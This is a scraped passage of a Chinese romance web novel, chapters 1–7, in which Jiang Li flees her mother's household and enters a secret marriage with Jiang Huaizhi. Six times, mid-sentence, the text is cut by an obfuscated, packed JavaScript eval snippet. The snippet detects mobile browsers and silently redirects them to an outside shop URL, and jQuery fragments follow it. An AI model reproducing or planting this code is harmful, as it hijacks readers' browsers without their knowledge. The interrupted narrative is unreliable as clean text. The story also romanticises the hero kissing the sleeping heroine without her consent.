《他来时风起云涌》 第1章 愿不愿意跟我 姜梨的眼睑染上了血红色,黑色的长发凌乱不堪,身上穿着单薄的睡衣,手上是未擦干净的血液,扣在手腕上冰凉的镣铐被警察拿了下来。 事发突然,被抓到警局时她连鞋都没有穿。 来警局捞她的人是江淮之,北城的太子爷,从前司家流放在外的私生子,现在是司家的大少爷。 姜梨呆滞的眼神逐渐开始聚焦,透过玻璃门,可以看到停在门口的一辆黑色的迈巴赫。 沈家夫人楚云这时迎了上来,伸手想要扶她,却被姜梨躲开了。 楚云的脸色变了变,有些不满的看她:“小梨你也真是的,一点小事闹到警局就算了,还非要让江大少爷过来,你现在还想干什么?赶紧乖乖的跟我回家,去跟你二哥还有沈叔叔道歉!” 姜梨看着她那张脸,讥讽的扯了扯唇角。 她的长相随楚云,是倾城倾国的美人。楚云美到岁月都舍不得薄待她,五十岁的年纪,却依旧美得很有韵味。 典型的蛇蝎美人,罗刹心肠。 楚云的心狠到姜梨一度认为,她根本不是她的女儿。 但她们偏偏又长得那么相像。 “妈妈?你算哪门子的妈妈?”姜梨的声音嘶哑,像是被割断的琴弦,“沈翊为什么会有我房间的钥匙?他半夜三更闯进我的卧室,你真的不知情?” “你亲儿子姜祈安才刚去世不到一个月,他名下仅剩的财产,以及公司都被你双手奉给了沈家也就算了。你现在还要把你的亲生女儿,他的亲妹妹继续卖给沈家的畜生。”姜梨的语气平静淡漠,但脖子上突起的青筋却在彰显着她的愤怒,“你就不怕我哥哥他从坟墓里爬出来,找你追魂索命吗?” “今晚的事情你还要我给你解释多少遍?是祈安突然离世,你伤心过度出现了短暂的意识混乱,你二哥只是想给你盖个被子而已,你刺伤二哥,把事情捅到局子里也就算了,还让江淮之过来!你知不知道他跟沈家有合作?”楚云看着姜梨,一股怒火冒了上来,“我可告诉你,沈家要是因为你今晚闹出来的丑闻,失去了江淮之这棵大树,我饶不了你!你现在还不快赶紧跟我回家!” 姜梨的心彻底凉了下来。 她知道楚云一直都不喜欢她,但是真的没想到她会做到这个份上。 从港城回到樱洲整整一年,楚云都没有问过她哪怕半句。姜祈安一死,她倒是想起姜梨这个女儿了。 休假的这一个月里,每天都要把她带到各种酒会,让她被各种各样的人物谈论,揩油,侮辱。 故意让沈翊进入她的房间,对她胡作非为! 今晚要不是因为楚云不愿意保她,她要被拘留。搞不好,还要被扣上一顶故意伤害的帽子,姜梨实在没办法了才会找上江淮之,让他来救她。 三年前放狠话的是她,前几天放狠话的还是她,现在求到他身上的又是她! 她活了二十一年,再怎么艰难,都没有像今天这样狼狈过。 这也是她人生中第一次犯贱。 姜梨恨不得放一把火,直接把沈家和楚云烧成灰烬,送上西天! “姜二小姐,您处理好了吗?”这时,江淮之的贴身秘书推门走了进来。先是把手里不知道在哪买的拖鞋递给了姜梨,然后把臂弯处挂着一件大衣披到了姜梨身上,恭敬的开口:“江总还在等您。” 衣服披上来的瞬间,姜梨就知道这是江淮之的外套,有他身上的味道。 熟悉,又陌生的雪松香。 姜梨穿上鞋,心中微微怔愣。 “愿不愿意跟我。” 江淮之前几天说过的话在她的脑中盘旋,他在等她的答复。 姜梨沉默了,眼底情绪渐渐清明了起来。 为了保命,为了报仇她才回了沈家。而现在,她有了一个更好的选择。 与其在沈家等着被吃干抹净,还要被楚云榨干价值,成为廉价的联姻工具,倒还不如跟着江淮之。 现在的她,根本没有选择的余地了。 姜梨做好了最后的选择,伸手裹紧了披着的大衣,毫不犹豫的提步往前走。 楚云听着这个话茬,看着姜梨往前走,顿时警铃大作,伸出手就要把姜梨拽回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293790|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却被谢铭挡开了。 “谢秘书这是什么意思?”楚云皱眉,满脸都是不满。 谢铭笑了笑,语气和顺,“沈夫人,这是我们大少爷的意思,姜二小姐从今以后,不会再回沈家。” 姜梨走下台阶,她还没到车边,坐在里面的江淮之就已经给她开了车门。 “………” 没关系,不就是犯贱吗?不就是被打脸了吗?活命要紧,报仇要紧! 能屈能伸,才能成大事。 姜梨一咬牙,心一横,上了车。 坐在江淮之的右手边,半边身体紧紧的贴着车门,两个人的距离拉的很远。 江淮之像是没怎么睡好,没有平日那样温和,眼神和表情都带着很重的戾气,有点燥。 皮肤很白,却不赢弱。容貌俊美凌厉,那双极为好看的丹凤眼目光寒凉,气质内敛深沉,矜贵优雅。 姜梨抓着衣服的手下意识的缩紧,总觉得有点透不过气。 “我明天会亲自去沈家,把你的东西给收回来。” 江淮之的声音冷不丁的响起,有些哑。 姜梨的眼皮垂着,咬了咬后槽牙,“那我们现在是什么关系?跟以前一样,是兄妹?还是说,江大少想让我做地下情人?或者床伴?” “姜梨,别总是说这种让我不高兴的话。”江淮之微微偏头,看着她,“我从来都不是忘恩负义的小人,姜祈安从前照拂过我,我就不可能会给你见不得光的身份。” 原来是看在姜祈安的份上,原来他说的跟他是这个意思,和以前一样,做“兄妹”。 兄妹,也挺好的。 免得她剑走偏锋,会和从前一样再喜欢他。 姜梨不说话了,眼皮耷拉着。这一个月里,她其实很累了。在沈家连觉都不敢睡,枕头底下都要放着一把刀,大脑神经时时刻刻紧绷着。 也还好她没睡,还好她放了一把刀。 紧绷的神经和身体肌肉渐渐放松了下来,困意袭来,姜梨慢慢的瞌上了眼皮。头靠着车窗,呼吸平稳绵长,沉沉的睡了过去。 第2章 我来养 谢铭上车时,江淮之已经把姜梨捞进了自己怀里,让她的头靠在了自己的大腿上,手掌轻轻的抚摸着她的脸颊,原本萃了一层薄冰的眼神开始融化,柔成了一滩水。 姜梨的睡眠从小就不太好,也一直都在吃安眠药,也不知道她今天晚上吃没吃。 吃了她就不会醒,江淮之可以多抱她一会。 还可以,亲亲她。 车子启动,一路平稳的在夜里的街道上穿梭。 姜梨的手突然抓住了江淮之的,无意识的用脸蹭了蹭他的掌心,小声的说着什么,在梦呓。 好乖,比她喝醉的时候还要乖。 她的手上有血迹,睡衣的领口被扯掉了两颗纽扣,脖子和手腕都有掐痕。 不知道身上还有没有别的伤。 江淮之目光灼灼的看着她,嘴唇落在了她的额头,眼皮,和鼻梁。 一路向下,最终停在了她的唇瓣上,轻轻的碾了一下。 车子停在了一栋私人别墅前,这是江淮之的住处。 安静,寂寥。 抱着姜梨走上二楼,路过一道房门时他停顿了一下,然后看了一眼还在熟睡的姜梨,最后把她抱进了自己的房间里,放到了床上。 打了一盆热水,擦干净她身上的血渍。 脚底被石子刮伤,不算严重。擦干净周围的灰尘,抹了碘伏消毒。 拉过被子盖在她身上,轻手轻脚的关上了灯,退了出去。 . 医院的太平间格外的阴冷。 姜梨掀开白布,映入眼帘的是姜祈安的那张脸,他的双眼紧闭,一张脸是极致的白,全身上下都被火烧的全身溃烂,毫无生气的躺在那里,没有体温。 明明前一天晚上,姜祈安还在和她打电话,两个人甚至还在吵架闹脾气。 结果第二天的晚上,姜祈安就死在了火场里。 姜祈安的葬礼刚结束,楚云就迫不及待的把姜祈安苦心经营的公司双手奉给了沈家,姜梨看到他们一家人都在笑,只有她一个人在悲痛。 她没有亲人了。 浓烈的恨意让全身的细胞都开始疼痛,睡梦中的姜梨全身都是冷汗,喉咙因为怒意在不断的发烫。她的头发被汗水浸湿,像是从水里捞出来的一样。 “姜二小姐?姜二小姐!” 耳边是虚无缥缈的呼唤,是谁? “哥哥!” 姜梨猛地从床上坐了起来,大口的喘着粗气,心脏和肺部都在隐隐作痛,眼眶中蓄的眼泪落了下来。 “姜二小姐?您是哪里不舒服吗?我马上叫家庭医生过来!” 眼前的环境和这道女音都很陌生,姜梨死机的大脑开始运转,想起来她昨晚已经被江淮之带到他家了。 “没事,不用。”姜梨看着眼前这位三十多岁出头的女人,“那个,你……” “我叫季妍,是被大少爷从老宅调过来的下人,您一个人在别墅,大少爷不放心,让我来照顾您。” “已经中午了,我看姜二小姐一直都没醒,询问了大少爷,他让我叫您起来吃了午饭再继续睡。” 哦,江淮之安排的人,那就是安全的。 已经中午了?她睡了这么久吗? 这是她来北城这么久,睡的最久的一觉。 姜梨的手紧紧拽着被子,轻声说:“我早就不是姜二小姐了,你叫我姜梨就可以了,不用一口一个“您”。” “好的姜梨小姐。” 受不了身上的黏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293791|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腻感,姜梨从被窝里爬起来,想去洗个澡。 但是,她没有换洗的衣服。 季妍拿过来一卷保鲜膜递给姜梨,“脚底有伤口不能碰水,可以裹一层膜。衣柜里也有换洗的衣物,是小姐你的尺码,大少爷添置的。” 姜梨抿了抿唇角,他还是没有变,还是一如既往的细致入微。 她应了一声,季妍就退了出去。 姜梨这才开始打量起周围的环境。 这间卧室很亮堂,装修风格很……少女。不是江淮之的房间,倒像是特意给她留出来的一样,他一开始就想把她从沈家捞出来,带在他身边吗? 他是不是,也是有一点点喜欢她的? 但是很快,姜梨就直接打消了这个念头。 犯贱也要有个度,她是脑子坏掉了才会有这种想法。 江淮之心里有人这件事,姜梨从小就知道。 随便在衣柜里挑了一身衣服,进了浴室,冲了一个战斗澡。 季妍准备的饭菜口味都很清淡,是姜梨爱吃的,但是她没什么食欲,吃的不多。 看着外面的天色,姜梨有点坐立难安。 江淮之应该是去沈家那边了,也不知道他会怎么说,如果没有一个合理的理由,楚云是不会让她离开沈家的。 对于楚云来说,姜梨还有利用价值。就算是北城太子爷江淮之要带走她,也不行。 姜梨的哥哥和姐姐,死因都和沈家脱不了干系。留在沈家确实更容易探查,但是照昨天晚上的那种情形,还没等她查出来,她就已经没命了。 还要沦为楚云的联姻工具,给她做嫁衣。 小主,这个章节后面还有哦,请点击下一页继 续阅读,后面更精彩! 第3章 结婚 江淮之回来的时候已经是晚上了,一手拉着一个行李箱,一手拎着一只粉白色的书包。 有点违和。 “她今天都在做什么?”江淮之把行李箱放到一边,看了一圈以后没看到姜梨,今天睡的这么早? 季妍犹豫了一下,然后才开口:“姜梨小姐今天什么都没有做,但是应该是想哥哥了。” 见江淮之疑惑,季妍把姜梨早上做噩梦的事情告诉了他。 江淮之听完,拎着书包的手紧了紧。 他走上台阶,上了二楼,直接推门进了她的房间。 卧室的灯没有关,是偏暗的暖光。 姜梨缩在被窝里,身体背对着他。 江淮之不动声色的走进去,把书包放在了床上,过了许久,清润的嗓音在安静的卧室响起,“姜二梨,还要装睡到什么时候?” 二梨。 这个称呼像是跨越了好几个时空,再度传进姜梨的耳朵里,那么陌生。 又好熟悉。 姜梨紧紧拽着被子,眼睛紧闭,没出声。 “跟你说件事。”江淮之见她不说话,笑了一声,接着自顾自的开口:“明天带你去江城,领个证,去江城的机票已经买好了,领完就能直接送你回回学校了。” 领证?!领什么证? 还没等她想清楚,就感到床上一阵塌陷,雪松香侵袭而来,姜梨的身体一僵,猛的睁开眼睛,翻身瞪着他,“你干什么!” 他的胳膊撑着床,半边身体朝她压了下来,隔着一层被子将她圈在了身下,侵略性很强。 江淮之对上她水蒙蒙的眼睛,“看看生气的乌龟会不会变成人。” 你才是乌龟! 姜梨没心思去跟他计较这个问题,转而问他:“你刚刚说带我去江城领证是什么意思?领什么证?” 江淮之伸手拨开了她的碎发,淡淡道:“结婚证。” !? 他要她跟他结婚!? 姜梨被江淮之这句话从头雷到了脚,全身都开始发麻。 “你要跟我结婚?”姜梨的声音隐约有些颤抖,不可置信的看着他,“你是什么变态吗?” 一边跟所有人说她是妹妹,一边要跟她结婚,不是变态是什么? 江淮之不是有喜欢的人吗?为什么还要跟她结婚!他把她当什么了! “我不要,我不能跟你结婚。”姜梨咬了咬后槽牙,在被子底下的手紧紧抓着床单,她撇开头,不敢看他的眼睛,说着最违心的话:“我有喜欢的人,不能跟你结婚。而且,我只把你当哥哥。” 江淮之的眼神逐渐变得寒凉,嘴唇抿成了一条直线,语气也冷了下来,“姜祈安手段雷厉风行,背地里得罪的人数不胜数,光是一个沈家就够你喝一壶了。现在,整个北城,只有我能护得了你,你想要的也只有我能给。你如果非要为了你喜欢的那个男人守身如玉,不愿意跟我,我现在就可以把你送回去。” 江淮之这是在威胁她?他威胁她?! 姜梨的牙齿咬着下唇内侧的肉,江淮之这棵大树,有权有势,有颜有人品,的确是一把锋利的好刀。 不就是结个婚,领个证吗? 她又不亏。 “两年。”姜梨的眼睫颤了一下,闭了闭眼,“然后就离。” 两年以后,她就大学毕业了,就算没有他的庇护,她也能活。 这也是也是姜梨给自己的期限。 再长一点,她会守不住自己的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293792|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,会像以前那样喜欢他,爱上他。 论薄情,姜梨很有自知之明,她比不过江淮之。 江淮之现在做的这些,都只是为了报姜祈安对他的恩情。一旦恩情报完,她在他心里,就什么也不是了。 “我会对外面的人说你是我妹妹,沈家要是知道我娶了你,楚云不可能会放过你。”江淮之没有继续逼她,默许了她说的那个要求,开始跟她解释,“还有司家,他们一直想在我身边安排他们挑选的人作为间谍,要是知道你是我的妻子,也不会放过你。” “那你干嘛娶我!” 而且,你也不喜欢我。 江淮之站起来看着她,找了一个充分的理由:“姜祈安对我有恩,但我对你没有半分兄妹情,结婚是最好的选择。” “兄妹是说给别人听的,不是说给你听的。” 他对她连兄妹情都没有,只是一个报恩的对象罢了。 “吃了药再睡,明天要起早。”江淮之扔下这句话,转身走出了这间卧室。 等江淮之彻底走远,姜梨才爬起来。 从书包里摸出来手机,一瓶眼药水和一袋子的药。 精神类药品,她从十四岁吃到现在,姜梨甚至不知道自己当初为什么要去吃这个药,只知道姜祈安带她去看医生的时候,医生说不能停。 后来又发生了一连串的事情,导致没有安眠药她确实睡不着,所以就一直这么吃着。 又咸又苦的味道,让人止不住的想呕。 滴了眼药水,闭着眼睛缓了缓,重新躺回被窝里。 手机上的信息她现在也不太想回,直接开了静音加免打扰。 本小章还未完,请点击下一页继 续阅读后面精彩内容! 第4章 离婚的时候还要用 一直到红色的本子拿到手,姜梨都还是懵的,有一种不真实感,像在做梦。 她就这样,稀里糊涂的,和江淮之结婚了。 手里的结婚证还没捂热乎,就被一只手给抽了出去,姜梨侧头看向江淮之,“干什么?” 江淮之看她,淡淡的说道:“离婚的时候还要用,放在你那里会丢。” “………” 顷刻之间,心里那一丝丝的雀跃感荡然无存,甚至开始后悔今天为什么还要特意装扮一番,还戴上了两件最重要的饰品来拍证件照。 她和江淮之可是“契约婚姻”,还是隐婚,迟早都是要离的。 从小到大,只要一碰上江淮之,姜梨就觉得自己的大脑像是和自己的心分了家。不管脑子里想的有多清醒,说出来的话有多么的难听,她的心脏还是会“出轨”。 脑子里想的是不要期待,不要喜欢他,不要爱他。心里还是会一次次的妥协,一次次的心软,一次次的动心。 这对于要复仇的姜梨来说,是很致命的软肋。 “随便你。” 她把视线从江淮之身上收了回来,自顾自的往门口走,率先上了车。 气氛有些冷。 开车的谢铭表面风平浪静,心里则是一片翻腾的海。 这又是怎么了? 怎么刚领完证出来,像是要打架? “谢秘书,接下来要去哪?”姜梨感觉这不像是要回北城的路,她不想问江淮之,选择直接问谢铭。 江淮之没说话。 谢铭的心“咯噔”跳了一下,硬着头皮回答她,“大少爷要去一趟江城的分公司,处理一点公事。” 姜梨小声的哦了一声,眼睛一眨不眨的看着窗外。 路过一处学校时,脑子里一瞬间闪过一段关于这所学校的零碎片段,速度快的让她捕捉不到那到底是怎么样的一幅画面。 姜梨扭头看着学校的牌子,是江城中学。 她来过这里吗? 不对,她很确定她一直都生活在北城和樱洲,后来又因为意外在港城待过一年。 这是她第一次来江城。 江淮之见她一直看着某个方向,问她:“在看什么?” 姜梨回过神,身体坐正了,“没什么。就是觉得,江城这个地方我好像在梦里梦到过,有点熟悉。” “以前的很多暴乱都是出在这里,和你的梦不是同一个地方。”江淮之身体后仰,眼底有些晦涩,“你不会喜欢这个地方的,脏得很。” 阴暗,潮湿,恐怖。 和如今的繁华盛世是两个极端。 脏?姜梨有些奇怪,这不是跟北城和樱洲差不了多少吗?景色繁华绚丽,人来人往,哪里能跟脏扯得上关系? 况且,这里还是江淮之长大的地方。 不过她没有多问,江淮之也不会跟她多说。 她不了解江淮之,他从不会与她说任何心事,姜梨只知道他的年龄,以及他的身世。 还知道他心里一直都有一个求而不得的女人。 除了最后一条,其他两条都是人尽皆知的东西。 啧,真烦。 姜梨的身体软了下来,半边身体懒散的靠在车门上,脑袋靠着车窗,闭目养神。 . “江总。” 一进公司大楼就有人迎了上来,恭敬的对着江淮之说着什么。 姜梨安静的低着头跟在江淮之的身后,隔出一段不远也不近的安全距离。 “简总已经在会议室等您了,三少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293793|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷和五少爷稍后就到。” 三少爷……… 司南赫? 姜梨认识这个人,在江淮之还没有回司家的时候,这个人是那个时候司家的掌权人,也是江淮之同父异母的亲弟弟。 她下意识的摸了一下别着的那根发簪,眼底划过一丝暗色,又自然的把手放了下去。 前面的江淮之“嗯”了一声,带着一行人进了电梯。 汇报工作的是简清时身边的助理,抬头时多看了姜梨两眼,眼里闪过一丝惊艳,紧接着多了几分探究。 她的年纪偏小,皮肤冷白有些赢弱,面容精致冷淡,像是开在极地的雪莲,美得纯粹又剔透。 一身新中式的连衣裙为她添了几分温婉,少了一点疏冷。 是清冷系的美人。 此时,这位美人站在角落里,肢体动作僵硬,显得有些局促不安。 除了舒虞,这是在江淮之身边出现的第二个女人。 她的目光实在是明显,江淮之不着痕迹的瞥了她一眼,眸色深沉又冷硬。 小助理冷不丁的一阵头皮发麻,连忙将头低了下去,不敢再乱看。 “叮——” 电梯到达了指定楼层,江淮之微微回头看了一眼姜梨,对谢铭道:“带姜二小姐去我的办公室,不要乱跑。” 姜梨:“………” 非要在后面补这么一句多余的话做什么? “哥哥,我是二十一岁,不是十二岁。”姜梨瞥了他一眼,然后跟着谢铭走了出去。 一边站着的那个助理瞬间了然,这位姜二小姐就是他们老板从沈家接出来认做妹妹的那位,叫 做姜梨的。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第5章 哥哥,打人犯法 司南衍还是小看了江淮之身边的人,比如这个叫简清时的,原本以为是个江淮随便养的一个废物,看到现在才算知道,根本就是在扮猪吃老虎。 现在还被调到樱洲去了,以后更会是一个大麻烦。 “我现在再重新说一遍。”江淮之撑着桌面站了起来,“江城虽然不比樱洲和北城,但是也是司家的。毒,是一定不可以沾的。” 他的眼神移到了司南衍的身上,满是威胁和警告,“干干净净的交到你手上,到时候要是搞得乌烟瘴气,我为你是问。” 在江淮之继承掌权人的那一天,就着重强调了这一条,任何人要是碰了毒,都会被驱逐出司家。 “是。”司南衍应了一声,想到了什么,他试探性的开口:“简总原来的秘书——舒虞也留给我带吗?” 江淮之没什么表情,“说了江城现在的总裁是你,我会把舒虞和其他直属于简清时部下的人都调走,其他的都由你安排。” 他从不怀疑司南衍的能力,把江城分公司交给他是再好不过的事情了,短时间内压制住他,让司南衍暂时翻不起什么大风大浪。 牵一发而动全身,制衡内部人员的同时还能让江城更上一层楼。 何乐而不为? 会议到这里结束,三个人一前一后的走出会议室,司南赫离开时在江淮之身边停了停,伸手拍了一下他的肩膀,“爷爷让我告诉你,明天回老宅一趟。” “带上你从沈家抢过来的那位姜二小姐,一起回去。” 说完也不再管江淮之,垂下胳膊头也不回的走了出去。 . 谢铭只把姜梨带到了办公室门口,“少夫人,里面什么都有,您自便。” 姜梨听到这声称呼,脸色有些不自然,应了一声以后推开门走了进去。 办公室简洁宽敞,办公桌上整齐的堆放着几沓文件和一台电脑,旁边的书柜上放满了书籍。 姜梨走到书柜前,打算挑出来一本书看看,打发一下时间。 她刚抽出来一本书,随之放置在书顶上面的一个相框随着她的动作落了下来,发出一声清脆的响声。 姜梨愣了一下,下意识的就伸手拿了起来, 看清相框里的照片后,姜梨的瞳孔微微缩了一下。 照片里,江淮之穿着白衬衫,眼角眉梢都带着笑意,少年感很重,温柔又和煦。 而站在他身边的,是十三岁的姜梨。 她记得这张照片。 江淮之高中毕业典礼的时候,姜梨生了一场病,一直在住院。 那一天她对姜祈安撒了谎,把他支开以后自己偷偷的跑去北城一中看江淮之。 这张照片就是在这个时候拍的。 去的时候江淮之少见的对她发了火,所以她哭了。 虽然拍照的时候已经被他哄好,但是她的眼睛很红,短发齐肩,皮肤是病弱的苍白色,手背上还扎着极其显眼的留置针。 她十三岁时,江淮之二十岁,他的身高定在了一米八七。姜梨站在他旁边,头顶只到他胳膊肘的位置。 照片里江淮之的一只手搭在了她的肩膀上,光线和角度都出奇的好,所以这张照片拍的很好看。 但是姜梨不喜欢,因为感觉江淮之,真的是在带妹妹,她记得很清楚,那一天他对所有人都是这么说的。 姜梨,我妹妹。 但是她没有想到江淮之这么喜欢这张照片,居然还把它洗出来,放在了相框里,摆在他的办公室。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293794|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她都不知道,到底是该高兴还是该不高兴? 江淮之一直留着这张照片,说明对她有感情。但是—— 一想到有人进来,看到了这张照片,去问他这是谁,然后江淮之说是妹妹,姜梨就觉得浑身都不舒服。 心里像是被强行灌注了水泥,很重很闷。 她把书放了回去,然后把相框放到了原位,拿着书坐在椅子上,翻看了起来。 门外。 一个身穿职业正装的女人停在了办公室的门口,谢铭看到来人,礼貌又官方的喊了她一声:“舒秘书。” 舒羽笑了笑,“阿野在里面吗?” “大少爷在和简总他们开会。” 江淮之不在办公室,那谢铭怎么会守在这?里面有其他人? 一连串的问题在舒羽的脑子里盘旋,她的表情有些不自然,捏着蓝色文件的手越来越紧,“我是来找阿野谈公事的。” 谢铭的神情没有变化,再次对她重复了一遍:“舒秘书,大少爷真的不在里面,你可以去会议室等他。” 这时电梯“叮”的响起,简清时和江淮之一起走了出来,看到了门外的情形。 现在正好是公司午休的时候,他们没有告诉舒羽,江淮之今天会来。 是司南衍安排的那个眼线说出去的。 舒羽跟这些人,关系还挺好。 江淮之淡淡的看了她一眼,有些不悦的蹙眉,没有说话。 “砰!” 办公室里突然传来一声玻璃碎掉的声音,吓了在场的人一跳,江淮之的脸色变了变,当即推开门走了进去。 小主,这个章节后面还有哦,请点击下一 页继续阅读,后面更精彩! 第6章 小变态 江淮之把她拽了起来,开了饮水机的凉水冲在她手背上。 好在只是烫红了,没有破皮也没有水泡。 “地上会有人来收拾。”江淮之微微垂眸,看着她问:“我什么时候打过你?” 姜梨有些不自在的把手从他那里抽了出来,背到了身后,没什么语气的说了一句:“很多时候。” 江淮之没再继续跟她探讨这个问题,扭头看向门外的舒羽和简清时,“舒羽来的正好,江城这边以后是司南衍负责。简清时我调去了樱洲,你跟我回北城总公司,我身边缺一个信得过的人。” 听到这段话的舒羽有些错愕,她没料想到江淮之会这么安排。 她可以跟在他身边了。 简清时也很意外,江淮之一开始的决定,是让舒羽和他一起去樱洲的。 他显少会有临时变卦的时候,是司南赫和司南衍刚刚跟他说了什么吗? 姜梨闻言看了一眼舒羽。 是一个,长得漂亮的,女人。 刚刚江淮之还说了一句什么来着?这个人是他信得过的人,说明她对江淮之来说很重要,要把她带在身边。 他那个求而不得的白月光? 好像也不太像……… 江淮之,就是一个到处拈花惹草的老渣男! 舒羽敛了敛神色,眼神刚好和姜梨撞上了。她看她那张脸,立刻就知道了这个女孩的身份。 姜祈安的亲妹妹,也是江淮之的妹妹。 她的握紧的手微微松了松,而后对姜梨友好的笑了一下。 听那个小助理说江淮之带了个女人回来的时候,舒羽还以为是司家给他挑的那个对象他看上眼了。 还好,这个人是姜梨。 “姜小梨?”简清时看姜梨有些放空,拖着腔调喊了她一声。 不认识舒羽,但是她认识简清时。 都说物以类聚,人以群分。这个人,跟江淮之一样,是个狗男人。 现在还有其他人在,秉承着简清时以前对她还算可以,姜梨不想让他难堪,笑着回了他一句:“好久不见。” 其他人感觉不出来,但是江淮之感觉到了,姜梨这个笑,未达眼底,还有些冷。 她在生气。 姜梨跟简清时都已经很久没有见过了,她跟他生什么气? “你的新助理找好了?”江淮之突然想到了什么,看向简清时,“是阮经颜吗?” “嗯。”简清时应了一声,“她不是大四了吗?可以让她跟着我实习一段时间。” 姜梨瞥了他一眼,在心里默默的吐槽了一句:阮经颜又没答应。 自作主张的性格真的跟江淮之一模一样,怪不得可以同穿一条裤子这么多年。 江淮之点头,不说话了。 姜梨和阮经颜同在樱洲大学。 估计是阮经颜跟简清时闹了什么矛盾说给姜梨听了,所以对简清时才有意见。 是个讲义气的小姑娘。 “你们两个今天下午把手上的工作跟司南衍交接一下。”江淮之的声音隐约有些疲惫,“我这两天在樱洲有事情需要处理。舒羽,我明天会安排人和你一道去北城。 舒羽应了一句:“知道了,阿野。” 姜梨背在身后的手颤了一下,以前她也这么喊过他一声,一直好脾气的江淮之,在那个时候肉眼可见的不高兴了,然后说不喜欢别人这么喊他。 她记得清楚,江淮之那个时候声音冷的能吓死人。 余光悄悄地看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293795|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼江淮之,只见他的神色平静,没有波澜。 江淮之允许,接受,并且已经习惯了这个人对他的称呼。 他们的关系不一般。 本就不太美妙的心情,现在已经落到了谷底,怎么都爬不起来。 . 上车的时候,江淮之给姜梨拉开了车门,然后她很丝滑的走到了另外一边。 “砰!” 关门的声音不重,但是也不轻。 江淮之坐上去,看着她恨不得离自己百米远的距离,皱眉。 车上没有别人,这个距离太远了。 这样想着,他伸出手,一把将她拉了过来。 姜梨被江淮之突如其来的动作吓得大惊失色:“你干什么!” “离那么远是怕我吃了你?”江淮之的手指轻轻的蹭了蹭她被烫红的那一块皮肤,一字一句的喊她:“江,太,太。” 斯—— 这声称呼让姜梨的耳朵根都开始有些发麻,密密麻麻的升腾起来别样的情绪,说不清,道不明。 她还没办法像江淮之这样,那么自如又快速的切换角色。 不愧是老变态! 明明刚刚还在跟其他人眉来眼去,听她喊他哥哥,现在又直接云淡风轻的喊她江太太? “别这么喊。”姜梨气的冷笑了一声,开始对着他阴阳怪气,“我年纪小,当不起这个身份。” 言外之意就是,嫌他老。 前面开车的谢铭汗颜,攻击江淮之年龄的,姜梨还真是头一个。 他们家老板,其实挺显年轻的,奔三的年纪长得跟二十出头的小伙子差不了多少。 本小章还未完,请点 击下一页继续阅读后面精彩内容! 第7章 要收利息 气愤,窘迫,委屈。 几种情绪交织在一起,逼的姜梨眼圈都红了起来。 他明明知道,她喜欢过他。 